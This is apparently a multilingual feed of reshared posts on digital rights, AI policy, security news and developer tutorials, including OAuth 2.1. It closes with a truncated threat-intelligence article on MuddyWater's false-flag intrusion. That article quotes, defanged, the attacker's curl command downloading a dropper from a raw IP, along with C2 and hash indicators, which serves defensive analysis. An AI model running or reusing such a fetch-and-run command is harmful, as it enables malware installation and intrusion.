The Pirate Post ha ricondiviso questo.

Chiamatelo Dooh Nibor. Il sistema del welfare keniano gestito da una intelligenza artificiale che premia I ricchi e penalizza i pezzenti

Un'indagine condotta da Lighthouse Reports svela come un algoritmo introdotto dal governo keniota stia causando un sistematico sovrapprezzo per l'assistenza sanitaria a danno dei cittadini kenioti a basso reddito

sha.africauncensored.online/

@aitech

in reply to informapirata ⁂

onestamente non ho capito cosa abbia il sistema di "intelligenza artificiale". Sembra che l'effetto delle varie variabili sia deterministico (sbagliato, ma deterministico).
Dunque non è AI "stocastica", che è quella di cui tutti parlano oggi.
La politica si nasconde dietro modelli imperfetti da sempre (i calcoli dei contributi previdenziali, dell'età pensionabile etc...)... Ma non li abbiamo mai chiamati AI.

Intelligenza Artificiale reshared this.

The Pirate Post ha ricondiviso questo.

Der Messenger Signal reagiert auf die umfangreiche Phishing-Kampagne mit Änderungen in der App. Derweil wird die Dimension der Attacke deutlicher: Schon im Januar waren fast 14.000 Accounts gezielt angeschrieben worden.

netzpolitik.org/2026/attacke-a…

in reply to netzpolitik.org

Yeah, noch mehr Warnhinweise, noch mehr Klicks. 🥳

Das wird uns retten. Nicht. Ich nehme da nur als Referenz meine Banking-App, bei der ich bei jeder Aktion meine pin neu eintippen darf. Die Meldungen dazu lese ich schon lange nicht mehr. Und das macht es Dritten auch leichter, diepin mitzulesen, wenn die 5x eingegeben wird.

Ich sagte schon in den frühen 2000ern: Wer keine Ahnung von Computern hat, sollte damit nicht umgehen. Inzwischen sehe ich das in vielen Bereichen ähnlich: wer nicht Auto fahren kann, sollte es nicht tun - statt dass alle anderen unter der Unfähigkeit weniger Personen leiden müssen.

Gilt mMn auch für Managementsysteme in Unternehmen (27001, 9001, ...).

Wir sind da gesamtgesellschaftlich irgendwo falsch abgebogen.

1/2

Should Digital Safety Be A Matter of Design Or Left to Settings?


The media in this post is not displayed to visitors. To view it, please log in.


A client tries to take a screenshot of a banking app but gets stopped by a security warning. This feature is meant to keep sensitive financial information safe.

On the other hand, social media platforms like Instagram and Facebook are built for sharing and connecting. Unless users set up privacy filters themselves, these platforms often allow wide access to user data. This makes users more vulnerable to cyber threats.

What do these two situations have in common? Both are using more artificial intelligence, but they still work very differently. The main difference might be about intent, responsibility, or control.

If technology can strongly protect users in one area, why does it seem so open in another?

A key question is whether artificial intelligence can be built with strong ethical limits that protect user data from the start, rather than adding them later.

Is security truly built into systems, or quietly shifted onto users?


Today, the gap between technology and users has narrowed significantly. Thanks to artificial intelligence, digital tools are easier to use, and convenience is now expected.

But as things get more convenient, systems also become more complicated. This added complexity brings more security concerns. Security is often promoted as a feature, set up, and managed, but it is not always guaranteed. Tools like privacy settings, consent forms, and reporting options help protect users, but only if people know how to use them.

This leads to another question: are users truly protected by design, or are they just expected to protect themselves?

Can AI be trained at the design level itself?


As security worries grow, artificial intelligence is playing a bigger role in defending against cyber threats. Verification and compliance processes are changing quickly. Many modern systems now use AI to spot unusual activity, find suspicious behavior, and automate protection.

Research on Ethics-by-Design shows that values such as privacy, accountability, and fairness can be built into AI systems during development rather than added later.

Similarly, the field of AI alignment focuses on training systems to adhere to standards. In the same way, AI alignment is about training systems to follow human values and avoid causing harm. But research shows that these systems still struggle to fully understand complex human intentions. It continues to rest primarily with users. Systems may verify user identity, but they do not consistently account for user or third-party intent. While it may be argued that exploration entails consequences, it is necessary to consider whether such consequences should be severe enough to cause lasting harm to the user experience.

This raises a deeper question: can artificial intelligence be designed from the start to detect and address harmful or illegal intent or predict possible misuse? Can the focus of security measures be shifted towards the perpetrators’ perspective to prevent mishaps, rather than just protecting victims after the act?

This is not just a theoretical issue. Studies on AI misuse show that people can get around safeguards by using carefully worded prompts that hide harmful intentions. Large studies of real-world prompts show how easily these protections can be bypassed.

This highlights a big problem: while today’s AI systems are good at spotting patterns, they are much less reliable at understanding intent, especially when it is hidden or subtle.

Work has already been initiated to tackle these challenges. One growing area in AI safety is ‘red teaming,’ where systems are tested against simulated attackers before release to identify weaknesses.

This shows a move toward proactive design, where risks are anticipated and planned for rather than fixed after the fact. Methods like modular oversight aim to keep AI systems ethical throughout their whole life, not just treat safety as an afterthought.

These discussions are no longer limited to research labs or cybersecurity circles. They are increasingly becoming part of broader public and policy conversations around digital freedom, governance, and accountability.

One such platform is the upcoming Think Twice Conference, which will bring together policymakers, technologists, researchers, and civil society voices to examine the relationship between artificial intelligence, governance, and digital rights. The conference itself revolves around questions that closely mirror the concerns raised here: how can AI strengthen governance while protecting digital freedom, and how can digital freedom shape the governance of AI?

In many ways, the growing relevance of such forums reflects a broader reality: the conversation around AI safety is no longer just about innovation, but about the kind of digital society we are collectively designing.

Still, most systems today operate reactively, as seen in cybersecurity. They respond to misuse or breaches rather than preventing them before they occur.

For instance, the recent debate over age-verification laws clearly reflects this tension. Governments and digital platforms are increasingly exploring AI-backed age estimation and biometric verification systems to prevent minors from accessing harmful online spaces. Supporters believe that such systems represent a proactive step toward digital safety. Critics, however, argue that these measures would normalize surveillance, expand data collection, and create new privacy risks.

This debate highlights another underlying layer of the issue: can systems designed to prevent harm do so without compromising the very freedoms and privacy they are meant to protect?

Most modern systems focus on helping victims. They protect data after it has been exposed, fix problems after misuse occurs, and add filters only after harm has occurred. Hence, the loop of damage and repair continues.

Since misuse is not just possible but often expected, we need to ask whether systems should continue to be designed this way.

Until we solve this, ethical artificial intelligence might be judged more by the threats it misses than by the ones it stops. At this point, the idea may seem hypothetical or even unreasonable. But the history of innovation has repeatedly shown that solutions often emerge from perspectives, questions, and ideas that once seemed far-fetched. After all, isn’t that how progress begins?”

********************************************************************************************

When you come to think of it…


We are perhaps at a juncture where conversations about AI ethics, transparency, fairness, governance, AI regulation, and digital freedom matter more than ever.

As mentioned before, spaces such as the upcoming Think Twice Conference seek to bring these questions into public dialogue, bringing together diverse ideas to debate how digital systems should evolve in the years ahead.

If these questions resonate with you, perhaps it is worth saving the date or even contributing your own perspective to the discussion.

More information about the conference and speaker submissions can be found here:

Think Twice Conference – Call for Speakers


europeanpirates.eu/should-digi…

The Pirate Post ha ricondiviso questo.

Ich freu mich ja immer sehr, wenn ich Menschen kennenlerne, die gegen die KI-Überwachungspläne in der aktuellen Polizeigesetzwelle aufbegehren. Los ging es mit @ThuerPAG_stoppen , inzwischen habe ich einige gefunden, die in ihren Bundesländern – und zum Teil auch deutschlandweit – gegen die Dystopie agitieren, die da auf uns zurollt. Guckt doch mal rein, ob in eurer Nähe was dabei ist. Und falls was fehlt oder ihr selbst irgendwie aktiv werdet, sagt gern Bescheid!
netzpolitik.org/2026/widerstan…
The Pirate Post ha ricondiviso questo.

Verhaltensscanner, Gesichtserkennung, Datenanalyse: Immer mehr Bundesländer rüsten mit KI-Überwachung auf. Bislang lief das weitgehend geräuschlos. Jetzt regt sich Widerstand. netzpolitik.org/2026/widerstan…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
securebulletin.com/new-ivanti-…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dirty Frag: New Linux Kernel Vulnerability Chains Two Flaws to Grant Root Privileges — Public PoC Released
#CyberSecurity
securebulletin.com/dirty-frag-…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

👀 #LinkedIn trackt Besuche auf Profilseiten. Wer sehen will, wer das eigene Profil besucht hat, muss aber bezahlen. 💸 Nun haben wir Beschwerde gegen das Unternehmen eingereicht und schlagen die Verhängung einer Geldbuße vor.

Lies mehr darüber: diepresse.com/22034698/noyb-br…

Questa voce è stata modificata (1 mese fa)

reshared this

The Pirate Post ha ricondiviso questo.

📢 #Web3PrivacyNow Rome Meetup

Today, Friday 8 May, 17:30 - 21:00 CEST

Shaping and Defending the Techno-Political Evolution: Cryptography, Open Source, and Public Goods.

​​​Half-day dedicated to fostering solidarity among zk researchers, applied cryptographers, open source and human rights advocates, internet freedom and grassroots movements, hacktivists and the general public...

More info:
🔗 https://luma.com/q1sdbqf3​

📍 Urbe Hub - osm.org/go/xcXi~KF3R-

The Pirate Post reshared this.

The Pirate Post ha ricondiviso questo.

Digitale Zahlungen sind auch eine soziale Frage. Die Soziologin Barbara Brandl hat untersucht, wie digitale Zahlungen Ungleichheit verstärken. Im Interview erklärt sie, wie dabei von unten nach oben umverteilt wird und was uns Beispiele aus anderen Ländern für den Digitalen Euro lehren.

netzpolitik.org/2026/digitales…

in reply to netzpolitik.org

Diesen Beitrag gibt es nur dank eurer Unterstützung. Denn wir sind spendenfinanziert.

👉 netzpolitik.org/spenden

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Digital Omnibus meets the Charter of Fundamental Rights – a reality check

Organised by @noybeu
with Jennifer Baker (moderator), Herwig Hofmann, Alexandra Jaspar, @maxschrems @peterhense

More information: cpdp.be/124596

#CPDP2026 #CompetingVisionsSharedFutures #CPDPPanels

reshared this

Press groups demand records on potentially corrupt Paramount acquisitions


FOR IMMEDIATE RELEASE:

New York, May 7, 2026 — Today, Freedom of the Press Foundation (FPF) and Reporters Without Borders, Inc. demanded records from Paramount Skydance Corp. regarding potentially corrupt acquisitions and deals that could result in relinquishing editorial control of major news outlets to the Trump administration. Public reports suggest that David Ellison and his father Larry may have tried to secure regulatory approval to acquire Paramount and now Warner Bros. Discovery by, among other things:

  • Making a “side deal” to settle President Trump’s spurious lawsuit against “60 Minutes” by providing $15 million to $20 million worth of free advertising.
  • Installing a pro-Trump GOP donor without journalism experience as “ombudsman” at CBS News to evaluate complaints of “bias” and to eliminate all diversity, equity, and inclusion practices.
  • Promising to make “sweeping” changes to CNN, and to potentially fire anchors and commentators whom Trump dislikes.

Since Paramount Skydance announced its most consequential Trump-friendly changes at CBS News in October — acquiring The Free Press and appointing Bari Weiss as editor-in-chief — the company’s market capitalization has decreased by 40%, wiping out more than $8 billion in shareholder value. Ratings for key programs, like “CBS Evening News with Tony Dokoupil,” have also dropped precipitously. Freedom of the Press Foundation and Reporters Without Borders, which are both shareholders in Paramount Skydance Corp., are entitled to inspect the company’s books and records related to these developments under Section 220 of the Delaware General Corporation Law.

“Shareholders are entitled to know when the government uses its leverage over corporate transactions as a backdoor to meddle in editorial decisions that the First Amendment leaves to the press,” said Seth Stern, chief of advocacy at Freedom of the Press Foundation. “Larry and David Ellison’s capitulation not only harms the public and our democracy, it hurts Paramount by producing news shows people don’t want to watch and tanking the reputations of news outlets in order to appease Trump. If the Ellisons can’t stand up to their friends in the administration and defend the First Amendment, they should stay away from the news business.”

“We need to know what the Ellisons may have promised the president to secure these deals,” said Clayton Weimers, executive director of Reporters Without Borders, Inc. “This acquisition has all the warning signs of a political capture. The American public deserves to know whether the Ellisons are sacrificing editorial independence to appease Donald Trump and secure regulatory approval from an administration that is openly hostile to press freedom.”

“Our clients are entitled to the same records as any other shareholder in Paramount, and legally, the company must comply,” said Brendan Ballou, CEO of the Public Integrity Project. “If Paramount fails to do so, we are prepared to vindicate our clients’ rights in court.”

Under Delaware law, Paramount has five business days to respond to the shareholders’ request. Freedom of the Press Foundation and Reporters Without Borders are being represented by the Public Integrity Project and Ron Poliquin of The Poliquin Firm.

Please email Seth Stern (seth@freedom.press) for any follow-up questions or inquiries.


freedom.press/issues/press-gro…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


The Pirate Post ha ricondiviso questo.

Die EU will die KI-Verordnung aufweichen. Eine erste Einigung sieht nun vor, bestimmte Regulierungen für die Industrie abzuschwächen und zeitlich deutlich nach hinten zu verschieben. Hinzugekommen ist ein Verbot von KI-Anwendungen, mit denen sexualisierte Deepfakes erstellt werden können.

netzpolitik.org/2026/ki-verord…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


